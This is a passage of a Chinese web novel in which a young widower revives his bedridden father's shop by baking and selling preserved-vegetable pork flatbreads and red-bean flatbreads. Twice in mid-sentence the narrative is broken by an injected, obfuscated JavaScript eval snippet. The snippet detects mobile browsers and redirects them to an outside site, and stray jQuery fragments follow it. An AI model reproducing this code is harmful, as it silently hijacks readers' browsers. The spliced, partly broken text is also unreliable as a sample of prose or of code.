蒋芸得了任务倒是高兴，还松了口气，朝食还有一个菜馒头半个肉馒头两个馒头，小炉子生了点火将馒头烤了烤，想着丈夫若是醒来得吃点清淡的，又用现成野菜混着面粉熬了一小锅野菜糊糊。 今个天气实在是好，午间阳光很大。 汤显灵将铺子桌子搬到院子中，此时木头桌子很沉，他搬搬挪挪，声音可能大了些，吵醒了东屋汤父，汤父扯着脖子喊人、做什么呢。 “我搬桌子呢。”汤显灵先回话。 灶屋的蒋芸忙停下手里活先去东屋看汤父。 院子不大，汤显灵在院子忙活，能听见汤父喘着嗓子问蒋芸五哥儿又想做什么坏—— “能做什么，你不给我钱，我想着铺子里桌子用的木料还结实，收拾干净了，没准能卖一些钱。”汤显灵故意吓唬老头说。 他真不喜欢汤父。 现在人力不值钱，但是料值钱，就像是木料、铁锅、刀具等等，要是有人有件皮子棉袄，哪怕是兔皮，缺钱了，都能送到典当行典个几百文。 东屋汤父急了，“你个赔钱玩意，早知道就溺死你了，害的汤家没了底子现在还敢动我铺子主意咳咳咳。” “你别气别气，五哥儿不是想卖桌凳——” “你还敢说，你惯的他，你对不起汤家祖宗，我的四郎……” 汤父病重，气短，高嗓门喊一句就咳嗽而后声音弱起来。 汤显灵听着汤父又开始嚎四郎，心如止水，手下没停，将四张桌子挑着太阳最旺的地方拼起来，擦洗过，而后开始捡野菜，竟没什么杂草石子，想来狗娃家处理过了，这倒省事，桌子刚擦过没一会晾干，四十多斤的野菜薄薄铺开，就这般晒。 院墙隔壁租户声问：“汤老板可是不舒坦？” “谢谢关心，我爹病倒心里郁气不散，撒撒气就好了，吵到你们了？”汤显灵站在院墙下回话。 隔壁：“没事没事，汤老板身子看着越发——诶诶也许就好了，五哥儿你也别急。” 汤显灵听隔壁声音透着几分打探，像是‘盼汤父早死’，汤父声在东屋即便大点声也不像健康人那么洪亮，要是想听清那就得凑近了，隔壁家站在墙外听了半天墙角吧？ 他不由想到之前吓唬汤父说租户惦记想买那两间铺面。 ？？？汤显灵咦了声，难不成还真让他说对了？ 汤显灵想到此，眼睛亮了下，有了主意——即便梅干菜肉锅盔成本低，可是花椒胡椒等香料这在此时比糖价都贵，老掏蒋芸的私房钱不行，老汤可有钱的。 东屋声小了——汤父骂不动了还顽强在骂。 蒋芸出来看五哥儿，自打昨个儿五哥儿高烧醒来后就变了，她想到此心头一紧，赶紧不去想五哥儿浑说的那些话，多是五哥儿心里有气撒出来了，并非其他…… “我去给你爹盛饭，还有些菜汤糊糊，五哥儿你要吃灶屋里有。” “知道了阿娘，我来给我爹盛吧。”汤显灵笑眯眯说。 东屋本来骂着五哥儿的汤父听见了这等话一下子急了，含糊不清扯着嗓子喊蒋芸端，不、不、不要—— 意思不要五哥儿伺候他，要蒋芸照看他。 汤显灵撇嘴：他还不至于给汤父下毒好吧。 他手里没钱买老鼠药！ 汤显灵进了东屋，蒋芸脸上神色犹豫了下，可能也想五哥儿退烧后胆子大了些但总不会害父亲，因此还是先去灶屋盛饭，她一会就过去了。 “爹，我来照看你，正好跟你说说铺子那四张桌子，你放心不会卖的，我刚收拾桌子擦洗晒一晒的时候，隔壁租户问你身体如何，想是咱家铺子不开张做不了买卖，人家有点意向，卖桌凳到底是不值几个钱，咱家两间铺子又大……”汤显灵真真假假掺和说。 汤父急了，五哥儿要是不打着卖家当主意，好端端收拾擦洗桌凳做什么？还有隔壁——当初卖油郎介绍的租户，他那会病倒，听对方直接付了三年房租，钱也多点，稀里糊涂就答应了。 现在一想，那卖油郎是不是和租户勾搭上想买他家铺子？ 坊间就一条正街，两边门脸铺子，别说买卖，就是租都很少向外租，因此这正街铺子很抢手很值钱的。 汤父脸色变来变去，一下子想的多了。 等蒋芸端着菜糊糊进来，床上汤父还好端端的躺着，蒋芸松了口气。汤显灵：…… 他现在总有种奸诈小人变着法子掏空瘫痪老头钱包的既视感。 “你滚滚滚。”汤父骂。 汤显灵：…… 他不奸诈，还很有礼貌。 “我去晒菜了。” 他出去，吃了一个烤馒头，蒋芸给他留了半个荤馅包子，那还是早上他俩一人一个肉馅的，蒋芸只吃了半个，舍不得留下来现在让他吃。 不过汤显灵也不爱吃，倒不是不爱吃羊肉，而是隔壁家馒头店做的馅料不爱吃，冷过得羊肉即便是再次加热也有一股味。 蒋芸手艺平平，熬得菜糊糊也普通只能果腹，谈不上好吃。 汤显灵凑合吃了半饱，五哥儿胃口不大，以前就瘦，短短半年不到时间，五哥儿自责内疚下，消瘦的更厉害了。 等他收拾锅灶，见水缸快见底又去打水，给水缸添水时，蒋芸过来了，面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15318101|167339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上有些笑容，哄着五哥儿说：“你爹听说你要做梅干菜锅盔，给你了三钱银子，五哥儿你有钱了。” 一钱银子一百文，这就是三百文钱。 “他给钱能给的这么痛快？骂了我不少吧。”汤显灵嘴上吐槽句，接了银子，安蒋芸的心，“阿娘，你放心吧，亏不了。” 他可是自带‘饭灵根’的，真的做什么都香喷喷。 蒋芸见五哥儿收了钱，又说起汤父好话来，“你爹就是嘴上厉害些，其实还是疼你的……” 汤显灵：…… 不听不听，这种亲情绑架的话五哥儿听得还少吗。 现在也就是汤父孤立无援，扎进了死胡同，给点钱由着五哥儿胡乱折腾，因为刚才汤显灵暗示不卖桌凳那就把铺子租赁出去，汤父怕了，只能退一步。 怕是汤父心里还想，等他病好了，看怎么收拾这个五哥儿。 “可不是嘛，我也觉得我爹爱我。”汤显灵口不对心说，说完有点干恶心。 顺着蒋芸的话，反倒让蒋芸有点说不下去了。 汤显灵笑了起来，看吧蒋芸也不信，不掰扯汤父爱不爱五哥儿这假话，“我去晒我的被子，阿娘你的晒不晒？” “不了，你晒你的。” 暮食，汤显灵做了馎饦，不过不是羊汤馎饦，就是熬得猪油肉做的汤底，他和蒋芸在灶屋吃饭，没想到蒋芸吃了两口，突然说：“五哥儿，你的梅干菜锅盔定能行。” “我也觉得。” 这样自信的五哥儿让蒋芸陌生。 之后几天，老天厚爱都是大晴天。梅干菜讲究三蒸三晒，第二天去买了红豆，手里有了钱就做两种口味，红豆也不贵——现在杂粮豆子类三四文钱一斤。 最最贵的是香料。 香料要往东市去。 奉元城是北方最大最繁华的城市，胡人通商带的孜然果干皮子都往奉元城售卖，东市能瞧见目色不同的胡人、大食人。 汤显灵往东西市跑了几次，不由感叹：有钱人这么多为什么不多我一个！ 坊间过日子，一个铜板抠着过，但在两市内，昂贵的香料，有人一买就是上百两，眼睛都不眨一下。大户人家外出采买的女郎丫鬟，胭脂水粉头上朱钗，三五钱银子出手阔绰。 还有帮闲跑腿，给老爷少爷们叫席面，各色美食，鹿肉鱼肉牛肉，蒸烤煎炸，凉的热的，甜的咸的，三五两银钱置办一出席面，帮闲吹捧少爷几句，少爷高兴了，出手打赏就是一钱银子。 不过汤显灵见那帮闲很是惊讶高兴，显然打赏百文也算是多的、少见。 今个少爷高兴，重赏！ 汤显灵：柠檬.jpg 不过帮闲也不好做，嬉笑陪玩，作践自己逗闷子哄少爷们高兴也是有的，熟知奉元城各种好玩的有趣的新奇的，不能让少爷话落在地上，要是少爷不高兴了，大庭广众之下给你甩脸子骂几句也是家常便饭。 去一趟外头再回坊间，真是偌大一座城，什么阶层都有。 小老百姓日子朴实也有朴实的踏实。 第五日，梅干菜做好了。最后一道蒸完晾好，汤显灵搓了搓盐，均匀撒了上去，用手揉搓好，码齐了梅干菜放进坛子重封起来，这个存放时间很久的，吃的时候用温水泡过就行。 四十多斤的梅干菜做出来只有十三斤左右。这还是算多的了。 梅干菜收拾好，汤显灵便开始和面，今天暮食有了，就吃梅干菜锅盔，他还让蒋芸去街上再买半斤猪肉，要猪五花肥瘦相间。 蒋芸呐呐：“我去吗？” “对啊娘，我现在不得空，反正也不远劳你跑一趟。”汤显灵说。 自打汤父病重后，蒋芸是走不开，好久都没上街买什么了，天天待在家里小院，守在东屋，洗洗刷刷，听汤父骂人絮叨，翻来覆去就那几句，蒋芸想了下上次是什么时候出去的？ 她记不清了。 汤父做生意时，蒋芸是在铺子里收拾碗筷招呼客人，虽然嘴上没那么活，会说话，但不是现如今这般木愣愣无神的样子。 听五哥儿叫她上街买肉，蒋芸竟然下意识先想拒了，有些害怕上街同人打交道—— “娘，要五花肉，你看着买，跟老板说明日咱们还要，让他提前留一些。”汤显灵见蒋芸发愣说道。 蒋芸如梦初醒似得哦哦了两声，“那我去了。”她手在围裙上擦了擦，往出走又想起来上街上不能这般，摘了围裙，又想起来得带钱。 “钱我放桌上了。”汤显灵提醒。 蒋芸一看，拿了钱，这次出去了。 7. 第七章 第七章 过去几日，汤显灵一直做准备，不光是食材，还有炉子，家里有两个大炉灶，盘在前头大铺子角落里，一个熬羊汤温汤，一个下馎饦。 现在要烤饼，两孔灶孔改造成烤炉，其实不难。 灶孔用砖封上，黄泥同砖往上砌成拱洞。这个需要专业的匠人做，汤显灵现在有钱了花了银钱找人改，起初蒋芸一听很是害怕，意思五哥儿动这个灶，怕汤父知道了生气骂人。 “我不动灶，也没见他少骂我。” “娘，反正我爹看不见，这灶我也不是砸了，就是往上修成烤炉，回头他病好了，拆了就是。” 汤显灵一通说，蒋芸见劝不住一脸担忧只能随五哥儿意思。 之前说了，此时贵的是材料，要是会点手艺的匠人比纯干力气活的能多赚一些。两孔大灶改成烤炉，砖、黄泥、隔热的工艺，一通下来花了八十文钱。 汤父给了三百文，汤显灵也没敢乱花，抠抠省省的用。 另一边，蒋芸上街买肉。 猪肉价低，铺子门脸在对面巷尾，主家是一大间铺子隔了三间往外租，卖猪肉的老朱只租了一间，他家是八兴坊人，不过不在正街院子住，卖完了肉收拾完铺子锁了门再回去。 都是十多年的老街坊了。 猪肉上层瞧不上不吃这等低贱肉，城里百姓饭桌上倒是吃的勤快些，毕竟是肉，添添油水，秋冬生意最好了，天热起来买的人少些。 朱四正跟媳妇儿说：“今个又剩了些，我瞧着明个就跟隔壁坊的分一只猪卖算了。” “行，肉剩下自家吃哪能吃的完，糟蹋了。”周香萍说完就见蒋芸身影，倒是有点意外，忙上前叫人：“嫂子今个来买肉啊？要什么肉？” 蒋芸来的路上心里想了一路怎么开口，被周香萍一问，说出话竟然打了磕绊，“这、那肉，我想——” “嫂子你自己看，有肥的瘦的，前腿卖完了，后腿还有些，还有肋排、大骨头，这些都便宜，自家买回去烧个汤添个味正合适。”周香萍笑呵呵接了话介绍。 蒋芸才像是找回了嘴巴，“我先看看，五哥儿想买些肥瘦好的。” “五哥儿做暮食要用？那这块正好。”周香萍指着一块肥瘦正好的肉给蒋芸看，一边闲聊家常，“五哥儿最是乖巧贤惠了，嫂子吃现成的多好啊。” 蒋芸顺着周香萍指的那块看，肥瘦各半，是不是肥了些？ “不是，五哥儿想做朝食买卖。” “那就这块了。” 蒋芸跟周香萍说。 周香萍很快反应过来，嘴上顺着蒋芸话说：“你家铺子闲着也是闲着，五哥儿想做买卖，是个上进的，嫂子你看要多少？” “半斤就好。” 周香萍要男人割肉，她收钱。朱四切好了肉用叶子包好，麻绳捆了捆留个绳头递过去，“嫂子拿好。” 蒋芸谢过，拿了肉，她今个出来买肉忘了带篮子了，都转身了又看向夫妻俩，说：“五哥儿要卖梅干菜猪肉锅盔，还有甜口豆沙的。” 周香萍立即笑起来，“诶好，这两样我听都没听过，那我指定要去尝尝五哥儿手艺了。” “也不是催着你买。”蒋芸明白过来，她刚说话有误会，很是不好意思，“就是五哥儿头一次做买卖，我心里也牵挂。” “懂，嫂子这是疼孩子，咱们做阿娘的都明白。”周香萍是个爽利又会说话的性子。 蒋芸才安心离去。 等蒋芸一走，天色晚了，猪肉摊子还留不少肉，朱四和周香萍一边收拾一边再等等看还有人来不来，两口子聊起来，说的就是汤家的事。 “汤五哥儿卖朝食？”朱四起了个头，“什么锅盔，我在东市见过就是胡人烤饼，五哥儿会做胡人吃食了？” 真是瞎胡闹，怕是得赔了买卖。 周香萍理解，“五哥儿也是想解解家里难，汤老板成了那样，看着半年都没出过门，汤嫂子照看，那么大院子吃喝嚼头都得花钱，日子不易。” “老汤还是有远见，知道自己一倒做不了买卖，院子租了出去，就剩汤嫂和五哥儿，吃喝肯定是够了，五哥儿别好心给办砸了，买卖可不是好做的，回头亏了钱，又连累的家里更不济了。”朱四觉得吃租金过日子安慰妥当些。 整条街，谁不知道老汤家半拉院子向外租了三年，租金四十五两银子呢。 周香萍闻言看过去，竖着眉头说：“你这话浑说了，前头五哥儿那桩婚事，可怪不到五哥儿头上，都是汤老板相看的，看走了眼。” “什么叫又连累的，你这话不对。” 朱四见媳妇儿跟他掰扯，当即是认输，“得得得，我说的不对，但我说他一个守寡的夫郎做买卖这话没错吧，他家做馎饦店的，老汤从没烤过饼，还卖的是胡人的烤饼，老汤家可没这手艺，要是做馎饦买卖那还行。” “你别说，老汤病了半年，说起来我还怪想老汤那一手煮羊汤手艺的，也不知道怎么做的，那羊汤鲜、香，半点不腻，还有些甘，听说最早汤哥还是流民，愣是靠这个手艺在奉元城扎住了根……” 周香萍听男人说汤家，说着说着吹起老汤来了，做买卖汤老板是有本事，但她就是不喜欢这人，汤老板不疼惜孩子，五哥儿模样俊俏漂亮，性格也好，虽说话少一些，但勤快啊。 坊间邻居谁不夸一句，要是给五哥儿好好踅摸人家，怎么都比许给胡秀才那人强。 胡秀才那年纪那样貌，乍一看还以为是五哥儿爷爷呢。 周香萍听男人越吹越起劲，把这话说出口：“……也不知道怎么舍得的，把娃儿都毁了。” “胡秀才年岁大是大，是像个老爷子，但男人嘛不看相貌，人去年不是考上了，正儿八经举人老爷呢，还是汤哥会看人。” 周香萍冷哼讥讽：“是会看人，这不，五哥儿年纪轻轻守了寡，再怎么举人老爷，还不是没命享福，还有你的好汤哥也气病倒了。” 夫妻俩拌嘴，也是习惯了。朱四嘴上会说话捧人，那也是说外人家的事，但凡谁要是给他家闺女说亲说个胡康那样年岁，还是做继室的，朱四先抡着杀猪刀过去了。 周香萍是知道朱四什么样人，还是越说越气，嗓门大了点，还没回头余光看见汤嫂又回来了，周香萍一下子尴尬住了，背地里说人还被五哥儿娘听了去。 “嫂子，对不住了，怪我多嘴了。” 蒋芸表情难看，还装没事人，“没，我忘了说，五哥儿让我说句，麻烦你们店明早留上三斤五花肉。” “诶你放心，我进了肉，亲自给送过去。”朱四也忙说。 蒋芸点点头便走了。猪肉摊上夫妻俩讪讪，朱四见媳妇儿瞪他表情，忙说：“明个，汤五哥儿做的烤饼再难吃，我都买一个给他道道喜，成了吧。” 周香萍：“该的。” 汤家小院。 天都快黑了，蒋芸才回来，汤显灵见蒋芸神色不对劲，问：“阿娘，是不是遇到什么事了？这么晚。” “没什么，我快走回来忘了交代朱家明个给咱们留肉，又折返了一趟，朱老板说明日给咱们送过来。” “三斤肉店老板还给送？”汤显灵诧异，时下做买卖的真是宾至如归的热情，说：“朱老板还怪会做买卖的。” 蒋芸胡乱嗯了声，抬眼看五哥儿，“娘对不起你五哥儿。” 汤显灵一下子有点明白过来，怕是蒋芸跟猪肉摊老板聊了些什么，激起蒋芸愧对孩子的心。五哥儿已死，临死都没怪过蒋芸，只怪自己，他不想绕着这话题反反复复，于事无补。 “我去剁肉，一会试试炉子，热一热炉子。” 蒋芸：“那我去担点柴过去。” “行。” 蒋芸外出回来都没说先看看汤父，还先帮他把柴火送前铺子里，挺好。 到了日落，天色昏暗了些，铺子烤炉烧的暖暖的，汤显灵把饼放进去，今晚吃饼嫌干，又烧了一锅粟米粥——粟米很便宜的，家里现在见不到白米了。 槐花巷家家户户吃完了暮食，爱干净的烧水洗脸洗脚准备睡觉。 隔壁卢氏馒头店，老卢和他家大郎关铺门，突然之间闻到了一股很是奇特的香味，嗅了嗅鼻子，“好香，谁家做什么吃食？” 老卢还没问出来，卢大郎先问了。 父子俩看了眼，确认了不是闻岔了。 卢大郎仔细嗅嗅空气，“爹，好像是从隔壁汤家传过来的，离得近，我鼻子准没错，是从他家铺子里传的香味。” “那就胡说了，老汤病着呀。”老卢嘀咕，老汤病着就不是老汤的好手艺。 卢大郎：“爹，真的香，像是什么饼才烤出来的又多了些酱菜的味，却又比酱菜香——这香味我还真没闻见过。” 老卢也起了疑惑，“莫不是他家煎药吧？” “这药味饼味我还是能闻出来的，不然我去问问。”卢大郎是个爱吃的，眼开要开了铺子门去问。 被老卢拦住了，骂道：“你这小子，也不瞅瞅几时了？为了一口吃的敲人家门，不成样子。” 尤其是汤父病倒，五哥儿守寡，这天快黑了，哪敢去叨扰汤家？ 卢大郎一脸遗憾，临了又狠狠吸了口香味，还跟他爹学说：“我还闻到了芝麻味，是不是做芝麻饼啊，但芝麻饼我吃过没这个香，有个香味特别香，爹你闻啊，好像还有点肉香。” “我闻什么闻，还不回去睡觉。”老卢板着脸说。 卢大郎恋恋不舍，不行，他得叫三娘明个问问汤家婶婶做什么嘞。 汤家铺子里，锅盔刚烤好，新鲜出炉的，成色特别漂亮，锅盔薄，透出一些梅干菜和肉糜来，外表芝麻烤的金黄，整张饼椭圆状，小臂长。 汤显灵对折，饼身里面的馅发出浓郁的香味。 “娘，尝尝。”他将一半递给了蒋芸。 蒋芸接过，晌午吃得少此时肚中饥饿还是如何，只觉得这饼好香，小心翼翼咬了口，酥酥脆脆的，里面梅干菜混着猪肉满口的酱香，又跟酱菜味道不同，带着点熏味，梅干菜又有嚼头。 “好吃。”蒋芸都惊了。 汤显灵笑眯眯，“那就卖五文一个吧。” “可不敢，这饼是好吃，但是五文一个太贵了。”蒋芸胆子小，顾不得吃饼忙说，“锅盔你做的大是大但是薄，五哥儿卖五文贵了，不如三文钱？隔壁的肉馒头才两文，咱们的饼面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15318102|167339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 粉用的不如馒头多……” 汤显灵主意定：“娘，不贵的。” 隔壁肉馒头那是萝卜多羊肉少，只能说沾了个‘荤’字。 奉元城有钱人比他想的多多了，别说东西两市，就他们的八兴坊住户，对吃的那也是有舍得花的，大家习惯了早上买早食吃，这样不必动炭火锅灶，柴米油盐，柴打第一位，也是个花销。 早食买的多了，若是做买卖、有营生的人家，晌午那顿饭就凑合热热朝食，再煮个粟米粥、白米粥之类的，到了傍晚会正儿八经烧饭吃个好的。 再说，他要五文钱又不是十五文，不怕卖不掉。 尤其还是奉元城头一遭的梅干菜猪肉薄锅盔。 东市卖的烤胡饼他知道，也叫锅盔，圆圆的比脸大，是厚的，外头烤的硬邦邦，里面却是没馅料，只有香料调味，卖的贵，一个要十八文钱，自然人家饼大，不过买的人也不少。 吃的就是个稀奇。 汤显灵一个人干完了一张半锅盔，一小碗粟米粥，吃的意犹未尽，要不是身体胃小又是晚上不敢多吃怕积食，他还能再吃——根本吃不腻。 “娘，我去把红豆泡上，明个熬豆沙，你吃完了早点睡。” 甜咸永动机。 五哥儿不听她拿的主意，蒋芸忧愁，怕五哥儿要价高卖不出去赔了，习惯提前担忧起来，又咬了咬牙，不行丈夫骂人，到时候她顶前头，就说五文钱一个都是她说的。 不怪五哥儿。 傍晚汤父没起来，身子沉睡得多，到了夜里才起来折腾，蒋芸没喊五哥儿，自己去灶屋热了粟米粥喂给丈夫，也没提锅盔饼的事。 先瞒着吧。 翌日天还黑着。 汤显灵洗漱过，先把面揉上，红豆煮在锅里，而后去打水，他怕早上忙起来没工夫打水，起得大早，水井旁没人，倒是方便。等将水缸添满，整条街铺子门虽然关着，但屋里能听到响动，大家活了起来。 家家户户尤其是做吃食的都动了起来。 汤显灵捞了颗豆子捻了捻，已经面了。 可以捣豆子做豆沙。 他做这些就在前头铺子案头，听到敲门声，先应了再去开门，此时外头天刚亮，门外站着个三十多岁的男人拎着肉，汤显灵反应过来，是送肉的朱老板，应承了声，“稍等，我去拿钱。” “不急，回头我来买饼你给我也行。”朱四说。 汤显灵没接话，快速取了钱递给朱四，“一码归一码，到时候忙起来我怕忘了。” “那也行。”朱四笑了笑，心想，老汤做买卖的，他家五哥儿手艺如何他不知道，但结账这事做的漂亮。 肉是新鲜五花肉，肥的略多些，汤显灵剔了些肥肉，让肉七分瘦三分肥就好，回头跟猪肉摊老板说一声。 日头出来，天一点点亮了。 汤显灵开始剁肉馅调肉馅，两斤的梅干菜，三斤不到的猪五花，这样吃起来口感更油润酱肉味浓郁些。 奉元城外三四里路，许狗娃背着背篓坐在一旁歇口气，他大半夜起来赶路走到了这会，旁边是同村的猎户铁牛，肩上扛着一只鹿，鹿没彻底断气还活着。 同是走了半晌路，肩上扛东西，但铁牛半点粗气也没喘。 狗娃羡慕的紧，说：“铁牛哥我马上就好。” “不急。”铁牛淡声说。 狗娃以前怕猎户，上次来奉元城卖野菜，搭上了汤夫郎的买卖，他听见赚钱就嘴快，答应下来出了城才想起第二趟他一个人可怎么走，他爹娘肯定不许他来的。 幸好铁牛哥答应了，说下次他也要进城。 有了这两次，狗娃胆子大些没那么怕铁牛哥了，休息了会再次上路，狗娃说：“马上就到了，铁牛哥你说汤夫郎作甚买卖要用野菜，城里人是不是都爱吃野菜？” “可惜了，天渐渐热了，野菜都老了。” “我阿姐妹妹找了好久才凑了一筐还算嫩的。” “这次卖完，我就不来了，太远了，我爹娘不放心我跑一趟。” “我要是不卖了，汤夫郎做买卖可咋办啊？” “但坡上确实是没野菜了。” 铁牛不说话，狗娃习惯，一个人说了半晌，操心起汤夫郎营生来，左右互博，“野菜也不好吃，不然汤夫郎换别的菜？” “拿野菜做的吃食啥味啊？我阿奶做的野菜粥也不香，吃着苦涩。” “还是正儿八经菜好。” 城里八兴坊正街，停业快半年的汤家羊汤馎饦铺子再次开门了。 门头招牌还是汤家那份招牌，可里头空荡荡的，剩下的几张桌子都堆起来放着，收拾的干净，两孔大灶变了样，传来阵阵的香味。 “老汤病好了？” “许久不吃羊汤馎饦，老汤来一份——咦？” 汤显灵笑眯眯跟进来的老客户说：“我爹还病着，谢谢您记挂，店里不做羊汤馎饦，是我做的朝食酥脆锅盔。” “甜咸两种口，马上就出炉了，现烤的最香了。” “您尝尝？” “梅干菜肉的五文钱一张，红豆沙的四文钱一张。” 老顾客崔大宝：多、多少？！ 8.第八章 第八章 “多、多少！” 崔大宝震惊出了声，目光灼灼盯着眼前的五哥儿，说：“你爹呢？你爹也没这么做买卖的，一张饼就要五文钱！” 蒋芸吓得一哆嗦，忙近前，却不知如何说话，期期艾艾想要不要说三文钱？她刚张了张嘴，汤显灵看出来了，打断说：“娘，第一炉饼好了，你先帮忙拿出来。” “好。” 汤显灵赶了蒋芸去干活，看向这位老顾客，解释说：“我爹还病着，店里不卖羊汤馎饦，只卖朝食。” “客人先别恼，吃食上丰俭由人，您都随意买。” 他家不强卖。 “不过您先看看我家的饼，才出炉的最好吃了，奉元城东西两市也找不到的梅干菜肉馅。” 都是老街坊了，崔大宝倒不是生气发火，就是被价钱惊到了，汤家现在情况，嫂子带这个寡夫郎哥儿，也不容易，不过再不容易也不是这么做买卖的。 “你爹一碗羊汤馎饦才十三文钱。”崔大宝嘟囔。 汤显灵一听反倒高兴起来，这位客人说一碗羊汤馎饦‘才’十三文，可见是个对吃上出手大方也很有家底能这么吃的。 时下奉元城流行吃羊，羊肉价贵。 “我说什么都是空口白话单薄了些。”汤显灵笑眯眯，转头：“娘，饼我来拿。” 蒋芸一直操心这边，怕五哥儿得罪了大食客，因此动作慢了些，汤显灵过去，拿了夹饼的夹子，麻利的从烤炉中取出烤好的锅盔。 崔大宝站在原地，嘟嘟囔囔要给五哥儿说点买卖经，他虽然不做买卖，但是他吃得多啊，“……糖油饼也才五文钱一个，一口咬下去流心的糖，外头都是油炸的，五文钱还有那纯肉的包子，羊肉馅的，里头嫩嫩的羊肉带点点葱花做点缀，你这锅盔也就是烤饼，烤饼哪能卖那么贵价——” 念叨的物价经停了，因为崔大宝闻到了扑鼻的香气不说，还看到了五哥儿卖的锅盔到了眼前，那锅盔跟东市胡人卖的不一样，薄啊，特别薄，薄的能看到里头酱肉酱菜似得，上头一层还洒满了芝麻，烤的焦黄金灿灿的。 最主要是味，冲鼻子的香。 胡人烤饼他蹲在炉子旁等过现烤好的，也没这般香过。崔大宝被眼前的烤饼迷得眼睛都直了，多么好看的饼啊。 “五文是吧。”崔大宝咽了咽口水，从怀里摸钱，“我要一个梅干菜肉的。” 蒋芸都懵了，崔大宝说了一通，意思就是贵了、不划算了，可现在这么爽利掏钱买饼让她呆住了。 汤显灵叫了声娘收钱，蒋芸才如梦初醒收了银钱。这边汤显灵用夹子将锅盔从中对折，发出‘咔擦’的酥脆声，饼分开，里面的香味更是浓郁，崔大宝都等不及吃饼了。 他还从未见过这等饼！ 用之前裁好的油纸包住锅盔底部，汤显灵将饼递过去，“小心烫，才出炉的正热乎。” 崔大宝满心满眼都是饼，囫囵应了声，也不怕烫，更是等不及走出去再吃，是在汤家铺子里就咬了一口—— 其他人问如何？ 崔大宝进店问价，坊间百姓邻居也看到了老汤家铺子开门了，好奇凑过去瞧瞧热闹，嘴上还嘀咕：没听说老汤好了啊、这铺子竟然开了。 等见是汤五哥儿卖朝食，还是卖什么没听过的梅干菜锅盔，要价要五文钱一张饼，崔大宝说物价经时，其他人也点头，搭着腔说可不是嘛、没那么贵等等。 还有人小声说：“东西两市没有的梅干菜，莫不是什么酱菜换了个名儿吧。” 以前也有这等做买卖的，不过都是摊子买卖，说了噱头引人来买，不过大家也不是傻子，过两日就没人去了。 这就是一回买卖。 汤五哥儿可不能这么干，倒了他爹老汤攒下来的好口碑。 心里一通嘀咕，可烤炉传来阵阵香味是骗不了人的，说贵的都迈不动腿，不出去，就待在铺子里等崔大宝尝尝新鲜。 两个食客没要饼，盯着崔大宝，一人说：“咋的样？”另一人问：“味道如何？这梅干菜是不是什么酱菜？” 崔大宝没回话，咔擦第一口咬下去，整张饼掉渣的酥脆，他用一只手接着，嚼了嚼，入口先是一股很特别的酱香菜干，那菜干可不是寻常家里做的酱菜，味道十分特别独一份，接着就是肉，肉有些油润却不肥腻，也不干巴的柴，吃起来酱香浓郁混着梅干菜—— 香，太香了。 再嚼嚼，还有芝麻的香，整个香味层层递进的香。 霸道的梅干菜肉香，芝麻香，还有朴实的饼香。 崔大宝连着咔咔咬了几口，吃的是满嘴没话说，抽空了问一句：“这什么肉啊？不像是羊肉。” 蒋芸一听问这话，心提到嗓子眼了，因为猪肉贱、便宜，她怕崔大宝觉得她家五哥儿做买卖黑心。 “猪肉，七分瘦三分肥，要选新鲜的，再配上我的独门香料。”汤显灵把‘香料’二字咬的重。 时下香料比那糖、油都贵。 但做饼调馅，又不是拿香料当馅用，取一个调味，用的也不多。 崔大宝旁边站着的几位食客，先听是猪肉蹙眉，正欲说些什么，听到香料二字一下子松开了眉，有人问：“大宝这锅盔如何？” “那还用问他，你看他吃的不说话了。”有人揶揄。 崔大宝从饼里抬起头，笑呵呵跟小汤老板说：“我再要一个豆沙的甜口。”说着给掏钱。 汤显灵取了饼，对折，打包。 蒋芸收钱。 旁边两位食客：“那我也要个。”、“我就一个梅干菜肉馅，我先尝尝滋味。” 崔大宝一手梅干菜锅盔吃的到了底儿，一手接了豆沙的，豆沙新鲜出炉，饼折开那块能看到细腻的豆沙，发着丝丝的甜味，崔大宝没忍住啃了一口豆沙的，刚入嘴眼睛都亮了。 好吃啊，这小汤老板不知怎么熬得豆子，豆沙绵密红豆味浓郁也不是齁嗓子的甜，他连着又是一口，嚼嚼嚼，早起吃到了美味的朝食，崔大宝心情甚好，这会又说起吃食经来。 “你家锅盔饼好吃是好吃就是干了些，我去买个饮子喝喝。” 崔大宝举着俩饼直奔饮子店去了。 正街上，卖朝食得铺子此时都开了门，热饮子有，羊乳、茶汤，或是羊汤也有，但因这条街汤父羊汤一绝，对面靠近街尾半间铺子卖的是羊杂汤，七文钱一碗，再送个巴掌大厚些的白饼，之前生意平平，汤父倒了后，生意略好了些。 崔大宝吃着小汤老板的饼，勾起想喝羊汤的心了，便去寻了那家羊杂汤来，要了一碗汤，不要店家送的饼，只是喝了口，便皱了皱眉，李家羊汤不行啊。 好在小汤老板做的锅盔饼超好吃。 “大宝，吃甚呢？没瞧见过。”落座的客人见崔大宝手里的玩意好奇，“咱们街上新开了朝食铺子？没听见炸炮仗啊。” 崔大宝不喝羊杂汤了，他是个爱吃的脑子，得了新美食，那是逮着人就想说说——只有他有本事发现了新鲜吃食，当即说：“老汤铺子今个开了张，我看见过去凑热闹，你猜怎么着，他家五哥儿卖朝食，就是这两样，可香了，脆香脆香的。” 羊杂汤老李一听‘老汤铺子开了’是打汤的手都一抖，再听见是小汤五哥儿卖饼子，可算是松了口气，饼子啊跟他家不搭噶，他家虽是送饼，但就是普普通通的干饼，没甚稀罕的。 